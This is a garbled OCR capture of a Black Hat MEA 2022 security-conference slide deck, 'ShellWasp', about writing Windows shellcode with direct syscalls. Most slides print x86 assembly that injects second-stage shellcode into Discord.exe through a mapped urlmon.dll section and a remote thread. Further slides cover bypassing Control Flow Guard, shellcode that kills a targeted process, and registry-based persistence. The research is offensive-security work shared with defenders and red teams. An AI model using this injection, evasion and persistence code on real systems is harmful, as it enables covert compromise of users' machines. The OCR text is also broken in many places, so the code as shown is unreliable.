
uint] NextEntryOffset;|
Threads; to the next

uint Nu

long SparelLil2;
long Spareli3;
long CreateTime;
long UserTime;
long KernelTime;

internal
internal
internal

internal
internal
internal
internal
internal
internal
internal
internal
internal

ushort Namelength; // UNICODE_STRING
ushor 22am amelLength;
IntPtr] NamePtr; S/ This will point into the data block returned by NtQuerySystemInformation

int BasePriority; Process name

Intpr
Ir:utF'tr- n 1er-1 edFromUniqueProcessId; Process ID We can Slmply use Assembly to
uint HandleCount;

uint SessionId; iterate through all possible processes

UIntPtr PageDirectoryBase;

UIntPtr PeakVirtualSize; // SIZE_T until we find i

UIntPtr VirtualSize;

uint PageFaultCount;

Then we can capture its PID.
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~ Create a SystemProcessInformation Structure

- push 0x40 ; ULONG Protect ’

mov dword ptr [ebp-0x20], 0x00000000 © © The ebp-0x280 was allocated by
lea ecx, dword ptr [ebp-0x20]

push ecx ; PULONG ReturnLength This is where the

mov ecx, dword ptr [ebp-0x18]

BPSR 6K _ TBRQHG structure will be created
SystemInformationLength v

mov ecx, dword ptr[ebp - 0x280] ' The specifies that we want
push ecx ; PVOID SystemInformation a

push 0x00000005 ; SYSTEM INFORMATION CLASS structure.

; 0x05 -> SystemProcessInformation ] n N
If it L it will

mov eax, [edi+0x20] ; NtQuerySystemInformation syscall return the needed size in

call ourSyscall

mov edi, [esp+0x10] You could set up the Assembly to
push edi recall it with the ReturnLength
value.
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:mov dx, 0x65

. push dx

- mov dx, 0x78 ;

push dx
mov dx, 0x65
push dx
mov dx, Ox2e
push dx

mov dx, 0x64 j?

push dx

mov dx, 0x72

push dx

mov dx, Ox6f

push dx

mov dx, 0x63

push dx

mov dx, 0x73

push dx

mov dx, 0x69

push dx

mov dx, 0x44

push dx ; Discord.exe
mov dword ptr [ebp-0xdd], esp

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode

> We can build

saving it to ebp-0xdd.

(Unicode format) on the stack,

We also need to create an structure. It & % ;
is mostly 1
: Only the needs to be specified. It will usually be —the

size of the structure.

. xor edx, edx

- push edx
push edx
push edx
push edx
push edx
push 0x00000018
mov [ebp-0xfe], esp

#BHMEA22 | www.blackhat.com

SecurityQualityOfService
SecurityDescriptor
Attributes

ObjectName
RootDirectory

Length

; _OBJECT ATTRIBUTES
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. ldentify the Target Process

-
W4 mov eax, dword ptr[ebp-0x280] ; Start of SystemInformation structure
cmp eax, 0 ; Check to see if reached end
“ ‘je finishedSearch
mov ebx, dword ptr[ebp - 0x280]
ov esi, dword ptr[ebx+0x3c] ; Unicode for candidate process name
cmp esi, O
je nextProc
ov edi, dword ptr[ebp-0xdd] ; Source,
mov ecx, 8
cld
‘ repe cmpsb ; String comparison, checking to see 1if
\ jecxz finishedSearch
add eax, dword ptr[eax] ; No match! Add the size of current
; entry to enumerate the next process.

mov dword ptr[ebp-0x280], eax ; Save current process
jmp parseProcesses



We Found Our PID for‘d‘Discord.exe

Now that we for
mov edi, [esp+0x32] ; Restore pointer to syscall array the Unicode string Discord.exe,

push edi ; Save pointer to syscall array . we can now move to the part of

the structure that contains the

"~ mov ecx, esp
’ for

mov eax, dword ptr[ebx+0x44] ; Discord PID

mov dword ptr[ecx], eax = We will also build an
and a
K Or _ placeholder for the
push ecx ; UniqueThread
push dword ptr[ebp-0x280] ; UniqueProcess |
mov [ebp-0x1ff], esp ; Ptr to ClientlId structure These will be used shortly!
xXor edx, edx {
push edx

mov dword ptr [ebp-Oxbe], esp ; Create empty space for
; future Discord process
; handle. <

—
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- NtOpenProcess Syscall to Get Process Handle

.mov ecx, [ebp-0xl1ff]

push ecx
mov ecx,
push ecx

[ebp-0xfe]

push Ox1FFFFF

mov ecx,
push ecx

[ebp-0xbe]
mov eax, [edi+0xlc]
call ourSyscall

mov edi,
push edi

[esp+0x1c]

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode

°
14

We provide pointers to our

n r
PCLIENT ID ClientId struct and ou

POBJECT ATTRIBUTES We specity
ObjectAttributes
ACCESS MASK AccessMask
PROCESS ALL ACCESS

Our ProcessHandle pointer is
empty, but will contain the
after the syscall.

PHANDLE ProcessHandle

NtOpenProcess syscall NTAPI NtOpenProcess(

OUT PHANDLE ,
IN ACCESS_MASK ,

Restore ptr to syscall array IN POBJECT_ATTRIBUTES

Save ptr to syscall array
IN PCLIENT_ID );
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RN - t il
Xxor edx, edx mov dx, 0x34
push edx push dx § I
mov dx, Ox6c mov dx, 0x36 Preparlng Ur mon
push dx push dx
mov dx, O0x6c¢c mov dx, 0x57 = — 0
1 |t~!—‘ b | J:gl g‘l" |
Ox4f b
0x57 \
0x73 : l“‘ :
- e [ ' Lo & -
0x79 5]5 I » T
0x53  mov dx, 0x5c | 2 i
JL push dx 1 i
0x5c mov dx, Ox3f i
BEEE A pointer to the Unicode for
0x73 mov dx, Ox3f .
bush dx is put onto the stack.
0x77 ‘mov dx, 0x5c . : .
push dx This pointer will be used for a
Ox6f

mov [ebp-0x2£d], esp| struct required

; urlmon.dll ¢ forasyscall.
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push dword ptr [ebp-0x2£fd]
; Buffer for Discord.exe

mov dx, 70
push dx ; Max Length, with Null

mov dx, 68
push dx ; Length, without Null
mov [ebp-0Oxed], esp

; UNICODE STRING

xor edx, edx
XOr ecx, ecx

Even though is in Unicode, it needs to
be putinto a structure.

The UNICODE_STRING structure is a parameter for
the we must create.

The OBJECT_ATTRIBUTES structure is

NTAPI NtCreateFile(
OUT PHANDLE ,

push edx ; SecurityQualityOfService IN- ACCESS_MASK ,

push edx ; SecurityDescriptor
inc ecx

IN POBJECT_ATTRIBUTES ,
OUT PIO_STATUS_BLOCK ,
IN OUT PLARGE_INTEGER )

shl ecx, 6 IN ULONG ’
push ecx ; Attributes, , IN ULONG )
push dword ptr [ebp-Oxed] ; UNICODE STRING IN ULONG ,
push edx ; Root Directory :m gbgﬂfi ’
push 0x18 ; Length IN ULONG ’k

mov [ebp-0x24], esp ; OBRJECT ATTRIBUTES

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode
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NtCreateFile Syscall

e

. a8 .
push 0x00000000 ; ULONG EaLength ,
push 0x00000000 ; PVOID EaBuffer .
push 0x00000860 ; ULONG CreateOptions,
~push 0x0003 ; ULONG CreateDisposition, y
push 0x1 ; FILE SHARE WRITE,
push 0x80 2 ULONG FlleAttrlbutes
push 0x00000000 ; PLARGE INTEGER AllocationSize ,
push dword ptr [ebp-0x48] ; out PIO STATUS BLOCK IoStatusBlock
push dword ptr [ebp-0x24] ; POBJECT ATTRIBUTES ObjectAttributes
push 0x120089 ; ACCESS MASK DesiredAccess, ]
lea ecx, [ebp-0x3dd]
push ecx ; PHANDLE FileHandle

mov eax, [edi+0x18] ; NtCreateFile syscall
call ourSyscall
mov edi, [esp+0xb0] ; Restore syscall array, for syscall
; parameters. for other stack cleanup.
push edi ; Save pointer to syscall array



\

Q
\\\\\

mov ecx,
. push ecx

—

n

[ebp-0x3dd]

push 0x1000000

~ push 0x00000002

\

'Lpush 0
push 0x0

_ push 0x10000000

-

tlea ecx, [ebp-0x324]
‘push ecx 3
mov eax, [edi+0x14] ;
W call ourSyscall
$mov edi, [esp+0x2c] ;
f‘push edi o
_"\ — /_/
« N 7 &

SheIIWasp Weapomzmg Windows Syscalls in Modern Shellcode

~ e

S

Y7\ A\ N

LA\
HANDLE FileHandle

HANDLE FileHandle

ULONG AllocationAttributes
SEC_IMAGE,

ULONG SectionPageProtection,
PLARGE INTEGER MaximumSize
POBJECT ATTRIBUTES,

ACCESS MASK DesiredAccess,

4

PHANDLE SectionHandle
NtCreateSection syscall

Restore ptr to syscall array
Save ptr to syscall array

=T
S <¢“k : Jﬁp f ' 11/

#BHMEA22 | www.blackhat.com

NtCreateSectlon N

- ((Q

B -

— .

“

AN

\\

Qi v =

With we can createa
to the §

We will payload,

in urlmon.dll. \

This section then must be mapped
out, but first that requires that the
section is created.

will output a handle
to the section.

S 2y

“NTAPI NtCreateSection(

OUT PHANDLE »
IN ACCESS _MASK ;
IN POBJECT _ATTRIBUTES ;
IN PLARGE_INTEGER )
IN ULONG ;
IN ULONG ;

IN HANDLE );

' w1 \ O\
https://github.com/Bw3ll/ShellWasp



NtMapViewOfSection With weare

map the section.

push 0x00000040 ; ULONG Protect, RWX,

push 0x00000000 ; ULONG AllocationType

push 0x00000001 ; DWORD InheritDisposition ViewShare
lea ecx, [ebp-0x98]

push ecx ; PULONG ViewSize This syscall will
ush 0x00000000 ; PLARGE INTEGER SectionOffset

push 0x00000000 ; ULONG CommitSize

We map urlmon.dll to the
process that we were able to get a
for.

where urlmon.dll is mapped to

push 0x00000000 ; ULONG stackZeroBits ?n f |
lea ecx, [ebp-0x88] I ! 44 | *&L
1push ecx ; PVOID *BaseAddress NTAPI ZwMapViewOfSection(
mov ecx, dword ptr[ebp-0xbe] ; IN' HANDLE ;
" mov ecx, dword ptr [ecx] IN HANDLE ,
Tpush ecx ; HANDLE ProcessHandle :E SECINIZSV?DITDR g
. push dword ptr [ebp-0x324] ; HANDLE SectionHandle INSIZE T ' ’
IN OUT PLARGE_INTEGER ;
ov eax, [edi+0x10] ; NtMapViewOfSection syscall IN OUT PSIZE_T ’
call ourSyscall IN SECTION_INHERIT :
ov edi, [esp+0x28] ; Restore ptr to syscall array IN ULONG ,
ush edi ; Save ptr to syscall array IN'ULONG }

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3Il/ShellWasp
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NtProtectituaIMemory

&b >~ . n - >  '_' ki - / A : .‘
# mov ecx, [ebp 0x424] ’ i '
.‘push ecx ; PULONG OldAccessProtection ; ¢ Even though IS
b‘iush 0x00000040 ; ULONG NewAccessProtection, _ mapped into , We
gocuRe el ebp SOx6d] | cannot write to it because we
__push ecx ; PULONG NumberOfBytesToProtect P

léa-gew - [obp-0988] lack the proper permissions. ,
-~ push ecx ; PVOID *BaseAddress With g
D/mov ecx, dword ptr[ebp Oxbe] o I ; ' _ >
_mov ecx, dword ptr [ecx] | we can fix this, by changing it to
{ jpush ecx ; HANDLE ProcessHandle 1
" p 3 ' . : SLEE & . > . -
I'Jmov eax, [edi+Oxc] ; NtProtectVirtualMemory syscall L. ' - ' e
lScall ourSyscall . »z NTAPI NtProtectVirtualMemory( :

mov edi, [esp+0x34] ; 0x14 + 20= 34 )‘ IN HANDLE ’ .
//push edi ; Save ptr to syscall array . INOUTPVOID ’

| T —— ; g —— // S IN OUT PULONG )
- e o SNy " IN ULONG ) :

A (: ; £ A 7 . g »

/ 5 Fhao D= W pe £. ) - OUT PULONG ); .
-~ //// D, S , > k- S .' o / : ‘ ;
h P\ s Db . AL IS "' : £ 4 &\ U ' . /
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NterteV|rtuaIMemory With < , we

push 0 ; PULONG NumberOfotesWr:Ltten | can write to an external process,
push 0x100 ; ULONG NumberOfBytesToWrite b , copying our second-
lea ecx, ourShell B t hell :
INt

wda o odd f stage shellcode into
lea ecx, [ebp-0x88] B .
iov edd, @word prrlTbde) .~ address for , Which we use
add edx, 0x3000 - asthe
mov dword ptr [ebp-0x88], edx S ,
mov ecx, [ebp-0x88] S We move the start 0x3000 bytes, to hide
push ecx ; PVOID BaseAddress 4 it in the middle of
mov ecx, dword ptr[ebp-0xbe] x
mov ecx, dword ptr [ecx] \
push ecx ; HANDLE ProcessHandle NTAPI NtWriteVirtualMemory(

¢ IN HANDLE )
mov eax, [edi+0x8] ; NtWriteVirtualMemory syscall K OuUT PVOID ,
call ourSyscall \ IN PVOID )
mov edi{ [esp+0x14]; Restore ptr to syscall array IN ULONG )
push edi ; Save ptr to syscall array OUT PULONG );

X , ‘ n 1
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“wpush
_push

‘push
. push
'+ push
. push

edx
edx
edx
edx
edx
edx

“mov ebx,

push

ebx

.-mov ecx,
. » MOV ecx,

{push
~push

‘ push Ox1fffff

ecx
0

14

o
4

pBytesBuffér
sizeOfStackReserve

sizeOfStackCommit 3 With
our external process,

stackZeroBits
bCreateSuspsended
lpParameter

dword ptr [ebp - 0x88]

; pMemoryAllocation StartRoutine

In

dword ptr[ebp-0xbe] ; ProcessHandle
dword ptr [ecx]

o
4
4
14

°
4

hCurrentProcess

| NtCﬁ“r_eateTh readEx

we create a thread in

will return a to our

, the thread immediately runs.

In other cases, we need to cause this to happen.

; pObjectAttributes Q:g~§#f'

.'_.' e

; ACCESS MASK, de51redACcess

aﬂmov dword ptr[ebp - 0x290], O

k

a

,Fpush

-
-

ecx

- MmOV eax,
?;call ourSyscall
~ mov edi,

r‘push

T
. e G OO L d

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode

edi

[edi+0x4]

[esp+0x2c]

o’ 5

Y Bl

S
e
4" r#’
2 3 v. "

lea ecx, dword ptr[ebp - 0x290] f?;

; hThread

; NtCreateThreadEx syscall

¥

s o O
LA

#BHMEA22 | www.blackhat.com

3

NTAPI NtCreateThreadEx(

OUT PHANDLE

IN ACCESS_MASK
IN LPVOID

IN HANDLE

IN LPTHREAD_START_ROUTINE ,

IN LPVOID
IN BOOL

IN ULONG
IN ULONG
IN ULONG
OUT LPVOID

-

https://github.com/Bw3ll/ShellWasp



ATV 7T e A S

7 / — —— ] AT S N
ush 0 ; PLARGE_INTEGER TimeOut
ush 1 ; BOOLEAN Alertable "%

ush dword ptr[ebp - 0x290]
; HANDLE ObjectHandle

4

~mov eax, [edi] ; NtWaitForSingleObject syscall

Jcall ourSyscall
ov edi,
ush edi

[esp+0xc] ; Restore ptr to syscall array
; Save ptr to syscall array

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode

~

#BHMEA22 | www.blackhat.com

N\ ~ . With our shellcode, it actually is

L]
| / ‘ % /\\ s \
||l |/, NTAPI NtWaitForSingleObject(
| IN HANDLE Handle,
IN BOOLEAN Alertable,

IN PLARGE_INTEGER Timeout);

. Wlth process |nject|on sometlmes
NtWaitForSingleObject is required.

not needed but we do it anyway.

https://github.com/Bw3ll/ShellWasp



Launching second-stage shellcode via process injection
to Discord.exe via an inserted urimon.dll

N 0 B © oI x 5 T
A X ) A : ) - ol
g e il = 5 : | ' 8
\ fot! O €. 1 S0 B /i
A\ (s AV P X ‘ F Y1 % ' /
- Ry \ ) | s ¥ ) \ ) 5 X ' ,-/ \
o sl \ A I | ), o .
i X ¢ ‘; o Ey AR
- \ Y N 4 % * Y . "\ 0
5 N ! 3 - ’ ‘..-
4 J { " ) a \ \ &
'/ 7] \) 1 h "
i ’ o : A ,\‘
e | r & Ve
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'CFG and Process Injection via ‘Sh.ellcode

“~.° Microsoft’s can cause some process injection efforts into external
©_ processes to

That is true for
‘ Vi.,j"' CFG checks all indirect calls to see if they are valid targets for indirect calls.
e ‘ When attempting to start execution at such a location, such as injected second-stage shellcode,
- is called, which leads to
| This immediately terminates the application.
The calls a special system interrupt,
g =5 This is a second chance non-continuable exception that causes exception code Oxc0000409.

; - I . Security check failure or :1'E|I:]- ]:m.ttn—-l o -1-11111 - n:n:u:ln:- ._I_IIIIIII-1||-| (11l =econd c =S N
AL = 0 b X -

e 20 4 —00a5£da0 H]:.

W _ds=002b

"*"ff.:g:’._f,-ﬁﬁi" S TR R S ~ Discord with CFG terminates.
&" 4 e L AN R A 4 ; S W7 AN
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e S8, = e ——— - O p W 0 e . e N BN A » .

shows that

Handles GPU Comment
General Statistics Performance Threads Token Modules Memory Enviranment

utilizes

Version: 1.0.9007.0
Image file name:

zers'bjbrizendine\AppDataiLocal \Discordiapp-1.0. 9007\ Discord . exe

Process

Command line: "C:\Wsers'bjbrizendine YWppData'L ocal\Discordapp-1.0. 900 7\Discord . exe™ —type:
Current directory: | C i cordiapp-1.0.2007

Started:

PEE address: Oxc4bd0 ity 0w ) Image type: 32-hit

Parent:

[ |
Mitigation polides: | ASLR.JCF Guard Details

Protection: Mone Permissions Terminate

B B P e el B B el il
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-chré-'-rg--é_\'}\iay to Defeat CFG W|th Syscalls 'f:

i Pt S m —ﬂ _
- There s a way to overcome CFG with a special syscall, :

J

— is poorly documented and difficult to use, requiring complex set up.

* Information on usage varies and from documented sources.
— Best bet? it yourself.
— With , you can create CFG exceptions for call sites or ranges of memory.
—._..* There is no reason should not work with our shellcode, if

¥ == implemented correctly.

'
F

AINTAPI NtSetInformationVirtualMemory(

JIN HANDLE

JIN VIRTUAMEMORY_INFORMATION_CLASS
JULONG_PTRL_

PMEMORY_RANGE_ENTRY

“PVOID

. ULONG
)

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3ll/ShellWasp




— Tracing SetProcessValidCallTargets and setting a breakpoint for NtSetinformationVirutalMemory
would allow one to begin to reverse engineer the needed parameters for the syscall.

* The best way to implement NtSetinformationVirutalMemory is to trace its
corresponding kernlbase.dll function, SetProcessValidCallTargets.

== Intesting, SetProcessValidCallTargets was able to bypass CFG and allow Discord.exe to
— = be compromised with the syscall shellcode.

== — SetProcessValidCallTargets internally calls SetProcessValidCallTargetsSection.

— SetProcessValidCallTargets is far simpler, with only a handful of parameters.

o NiSetinformationVirutalViemory has many required structures and far more elaborate setup.

BOOL \WinA P! SetProcessValidCallTargets(
IN HANDLE hProcess,
IN PVOID VirtualAddreszs,
INSIZE_ T RegionSize,
IN ULONG NumberOfOffsets,
IN OUT PCFG_CALL TARGET INFO Oficetintormation

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3ll/ShellWasp



Tracing NtSetinformationVirtualMemory g el

e» .
v mduﬂﬂesp | Previous | © Customize...

Display format: | Pointer and Symbaol ~
Process Handle ' Reg

Mest
= ds Zh
586 00811329 SWwinllntFemoteCreate a =di 1332784

Values

PVOID VirtualAddress

SIZE_T RegionSize
NumberOfOffsets

PCFG_CALL_TARGET_INFO
OffsetInformation

Tracing a syscall can involve looking at
the corresponding

/ WinAPI function,
and examining its parameters.

Here we the syscall’s corresponding
WINAPI,

This will automatically lead to

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode

0133f

0133

59
013 =

ttaZ
0133f5ak
0133f5aa
0133f5ae
0133£fEb2
0133f5bE
0133f5ba
0133f5be
0133fEc2
0133fEck
0133f5ca
0133f5ce
0133£5d2
0133fE5de
0133f5da
0133f5de
0133f5=2
0133fEek
0133ftea
0133f5es
0133£5£2
0133fE5fE
0133fE5fa
0133f5fe
0133fe02
0133fed

n ‘IO
SetPre
0133f616
0133fela

0133f6le
I ]

npooooofe
20cc3000
noooioao
noooooal
019=001c
ooonoonn
0133=7384
ffffffff
0133£324
ooonoonn
0133f28c
nooo3oao
nooooo4o
0133=784
nooonofe
20z=3000
00811944
ooooolao
nooooonn
0133=7384
noooonofe
0133f81c
0133f5f6
nooooo4o
0133fLes
nooooonz
nooooonn
noookoao
goooooao
goooooao

0000054 \\dCa\\T

cess\’a

=784
ooonn1lo4
nooonofe
0133f81c
noooooao
ALNRERgnRnnnnn

#BHMEA22 |

STwinlintFenoteCreate

Eargﬁzts

www.blackhat.com

2=l 19a0000
ebx= 133£324
edx 19a0000
SCH fc

S2aK 7eca?5a0

ebp 133f3a4d

eip FEBYEED

—_— a2

Offset: |@5=copeip

7ecB75Ee
7ecB7570
787572
7687575
7EcBYLYE
7EcBYETY
76c8757a
7687570
fT=3:
7ezB7EYd
76c8757e
7ecB7LYE

330
ebl3
8b45fc
=9
=20400
cC

cC

Il

e

o

cC

Il

HOT Sax, 2ax
Jmp KERNELEASE | REegisterBadies
o z2ax, dwvord ptr [=bp—4]
leave

ret

int

int

int

int

int

int

int

KERHELBASE | SetProces==sValidCallTarg

TEcB7ER0
7RCA7LE2
7RcA75E3
7687585
7ecB7588
7RCB758a
7ecB758d
76c8758e
7ecB7E5EE
7RCA7590

TE~RQ7CO7

abf f

mow

==n
.dword ptr [ebp+0Ch]
. E2ax

.dword ptr [=bp+3]

S8
sax
dword ptr [ebp+18h]

~ Armerd it =141
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Tracing NtSetinformationVirtualMemory

Process Handle

VmCfgCallTargetinformation

ULONG_NumberOfEntries

PMEMORY_RANGE_ENTRY

PVOID Vminformation

ULONG VminformationLength

We can set a breakpoint for the syscall,

1

Display format: | Pointer and Symbol

Mext
salfol4 7687651 KERNELBASE!SetFProces: a

1b0 ntdll!RtlpAllocateHe:

Once hit, we can then examine its parameters '
and the structures they point to. .. et
ntdll IHtSetInfornationVirtual Henory:
will naturally call the . ﬁ
syscall on its own without us doing anything. ! 5240000 \ir a call Ij1 o
3 o 7 414dc 21800 ret =141
: at\oﬂ - L 7 a . 4 i ~
Through , We can get new Set\nﬁof

insights into its undocumented functionality.

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode
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i, Wit QM . P8 S0 Ym0 V0N - AN wé
D ~.Another Variation on the Same Shellcode

- * What if instead of injecting shellcode, we did something , such as
causing a specific process to terminate?

— We could identify a target process or processes.

— We then could cause it to

® * If we wanted to, we could develop it further, put it in a loop, and cause all instances of it to terminate, ®
as long as the shellcode was running.

i an770000Y ¢ i/ ; '
2\ © o gy | |09 § = =
< PR N % N & %
NG e N .hv‘::.f‘\ NS |
\ NG LS AR T e A . 2
BN TEF oA )T :
— \' f’.

0,7 D

Y
B N\ / . /

< n__g——\ % ‘-/;’/ A ( »
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ion:

3, NtQuerySystemInformati

d* NtOpenProcess

3* NtTerm

teProcess

Ina

0000 N T O

“,..\ ,117256&%1

NY

NIN=INOO 00 0OM <t 00 <t 00 v LN M F ¢

https://github.com/Bw3ll/ShellWasp
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Demo
Terminating a Targeted Process Syscall Shellcode

b
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... CreateProcess? '
is very difficult to do with Syscalls. |
Likely it can be done with
Capt. Meelo released a blog post on using it as an NTDLL function in May 2022.

Converting an NTDLL function to syscall is likely a lot of effort.

Many tasks that can be created easily and simply with a higher-level language requires

In 2005, created the non-Egghunter
comprised of

He felt that creating a syscall version of CreateProcess would be too labor-intensive and
difficult.

He opted to create via registry for a binary, thereby causing it to be launched upon reboot.

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3Il/ShellWasp



L R STATR. T

=== i;:,-} Bania’s SheIIcode
s us lL_z'.__-., . — o —
. shellcode was a reflection of its time.
P o

* The SSNs for the syscalls utilized are

— It used an archaic, outdated way of

* He input the bytes for

_S NtCreateKey
_ S NtSetValueKey

_S NtTerminateThread

_S NtTerminateProcess

@syscall macro fn, param
local b, r

push fn

pop eax

push eax

call block

mov edx, esp

db ©fh, 34h

add esp, (param*4)
endm

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode

— |t was targeted only to one version of Windows XP;

(Ox0f, 0x34) into his code for

’equ‘

b: add [esp],(offset r - offset b)

4JZZZZZUGEEHEV'If%?"fﬂﬁh.JTTTSAKl’TIFITIMﬂKIHHNﬂIUIIfTV
#BHMEA22 | www.blackhat.com

[

it would work on no other OS build.

, Which . :

compiler.

000000029h
0000000t 7h
equ 000000102h

equ 000000101h

; syscall implementation
; for Windows XP

equ

; makes no diff

; put caller address on the stack
; normalize stack

; EDX = stack

; sysenter

; normalize the stack

TN
https://github. com/Bw3II/SheIIWasp
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Updated Peristence Shellcode

| tasked one of my employees, , to update the
shellcode using my tool and technique.

It was rewritten from scratch and done the way, with a syscall array.

It now is and has been tested to work on , 10, and

It calls the following syscalls:

—— — creates a registry key

U I”

— sets the value of the registry key
— closes specified handles

— ends the process

W |t creates by creating a new key at
for

T

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3Il/ShellWasp



Demo
Persistence Shellcode

kg
it
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Tips and Tricks: Using Memory for Parameters

—* Losing track of memory can be easy if using ESP/EBP, even if trying to be careful.

— In some cases, a value at could be without intending to do so.
— Be when creating structures or pointers to strings on the stack.
* Ifa , check the parameters to make sure they contain what you believe they should! =

— Sometimes they may not! They can

— Some may get overwritten in ways.

— It is always advisable to check all parameters and structures carefully if a syscall fails. Is it a
?

— You can still use the stack for memory — just be careful, particularly if it is a

_—
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Creating and Using Your Own Memory

To avoid problems, it might be desirable to Create an and build
important values there, e.g. ;

Rather than using a series of instructions, could do something like
This allocation could be created with the syscall.

is less likely to be noticed than

U
W \ #V Sometimes syscalls or structures such that it is a location
& that is a multiple of 4 or 16.

That is easier to do if you created your own memory ( ), rather than relying
on ESP or EBP.

NTSTATUS codes can help identify this need -2 , 0x80000002.

r 1

/
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Pointers vs. Non-poi S|

- == 27 -

as parameters than

WinApi functions.
, you must provide the value for a directly.

For instance, with
, the comparable size must be provided as a pointer.

With
The pointer will be an address that contains the needed value, e.g. size.
‘ UNICODE_STRING Structure

Virtual: |e=sp
Display format: | Point

Actual Unicode string text ‘
https://github.com/Bw3ll/ShellWasp

______ POBJECT_ATTRIBUTES Structure

Stack values
#BHMEAZ22 | www.blackhat.com
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(P Al | [ O S > il LS
Re : wred Pa rameters for Syscalls
S EY/mmm— ~ V—— T— — |

* Many syscaIIs require to be successful

— That may require in order to find the exact parameter required.

— Trial and error through experimentation likely will be possible until you find the right parameter
values that allow you to achieve what you want.

— No existing research? No problem: it yourself.

T ’ AN b //;..v"". e
SheIIWasp Weaponizing Windows Syscalls in Modern SheIIcode #BHMEA22 | www.blackhat.com https://github. com/Bw3II/SheIIWasp



Hexadgcimal Values for Constants

The

Some resources only give the constant’s name, not its hex value.

for parameters are called

Since we are writing Assembly, we need to find the equivalent
hexadecimal values—not the string form of the constants.

There are various ways to find hex values for
constants.

the name of the constant and related keywords.

Check

internal const int
/// <summary>Win32
internal const int
/// <summary>Win32
internal const int
/// <summary>Win32

. internal const int

/// <summary>Win32
internal const int
/// <summary>Win32
internal const int
/// <summary>Win32
internal const int

/// <summary>Win32
internal const int

SEC_FILE = ©x800000;
constants</summary>
SEC_IMAGE = ©x1600000,
constants</summary>
SEC_RESERVE = ©x4000000,
constants</summary>
SEC_COMMIT = ©x8000000;
constants</summary>
SEC_NOCACHE = ©x10000000,;
constants</summary>
MEM_IMAGE = SEC_IMAGE;
constants</summary>
WRITE_WATCH_FLAG_RESET = ©x@1;

constants</summary>
SECTION_ALL_ACCESS =

Check header files for STANDARD_RIGHTS_REQUIRED |

SECTION_QUERY |
SECTION_MAP_WRITE |
SECTION_MAP_READ |
SECTION_MAP_EXECUTE |
SECTION_EXTEND_SIZE;

Use Visual Studio, to compile code that has the constants.

Open it up in a disassembler or via a debugger to see what the
corresponding hexadecimal value is.
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NTSTATUS Codes

Unlike WinAPI functions, important values are

NOT returned in the eax register.

Instead, every syscall returns an NTSTATUS code

in eax

|

00000000 or STATUS_SUCCESS is generally what you

want to see.

Other error messages are provided there.

- __

!\Iot all messages indicate an error—some are purely 0000004

informational, such as of

'

It succeeded—it is just at a different address.
NTSTATUS codes can be very helpful in

. 40000009 STATUS_REGISTRY_RECOVERED
. oV
troubleshooting syscalls.

J http://deusexmachina.uk/ntstatus.html
N
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Keeplng Track of of Push’s and the SyscaII Array

The | ster of syscaII sheIIcode reqwres a pomter to be kept to the

| have selected to point to this location, although really anything could point to it, if properly
maintained.

Another register could be used, or a “variable” could be used, such as to point to the syscall array.

Using a “variable” could work, although if on the stack, you could run into issues of it getting overwritten if
not carefully monitored.

One sample of restoring the syscall array:

The number of bytes corresponds to the pushed onto the stack since the last time the
syscall array was pushed.

Continually pushing the pointer to the syscall array on the stack and then restoring it can
help reduce problems.

automatically calculates
Users are required to keep track of the do and

Each invocation of a syscall will of edi.
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% Developing Syscall Shellcod 8.5 $ @ °
gy R Zma;fsz;m =2 s X, ks 0y 40, ¢ g g z( 6 %
Z° Itis best to use to help you find the (7f ¢ O L 3( 4 9 ,

g correct format of syscalls and to allow it to automate % € .. ( N
4 handling syscalls. 2 :
6 %f int 3 Int 3 = breakpoint
g * The easiest way to start to create syscall shellcode is § jmp start
2 with in Visual Studio. 2 (
8 L7, ourSyscall: ; Syscall Function
% | You can use or other editor and use > cmp dword ptr [edi-0x4],0xa
% | to compile it. % ‘ I SR
L in1@: ; Windows 10/11 Syscall
3 By doing this, you can easily into the ,‘ 122'111 dword ptr fs:[0xco] MR Sl e
Z shellcode itself with the instruction E ret
3 This can allow you to launch the shellcode in directly % win7: ; Windows 7 Syscall
i and to easily verify if things are correct. 7 les :gi’ ?:§P+4]
3 Inline Assembly does have some limitations though. 5 ::tlileg‘;‘"'g ptr fs:[@xce]
8 ! s
1 | will put a sample on GitHub. l, \ ret I
fssmmmooTIoR D msyed O 5 422552 0 1 74 0
45 % 10 - ik p A PO T NHIA O ——n gl S 53 ) e
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Final ThoughtS\

it )R 5

Creatmg syscalls I|ker will take than domg a comparable WlnAPI
shellcode.

Not all functionality may be easily accessible via syscalls, as there are a lot fewer
syscalls.

nﬂ 2o Complex, original functionality may take a lot of effort and involve a lot of
w ﬂ and require creative, original thinking.
’r‘ 5 \YEI\Y may be required!

If successful? You may have something that can

After aII thls is the trait that makes syscaIIs among red teams.

=i
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Thank You!

ShellWasp
https://github.com/Bw3ll/ShellWasp
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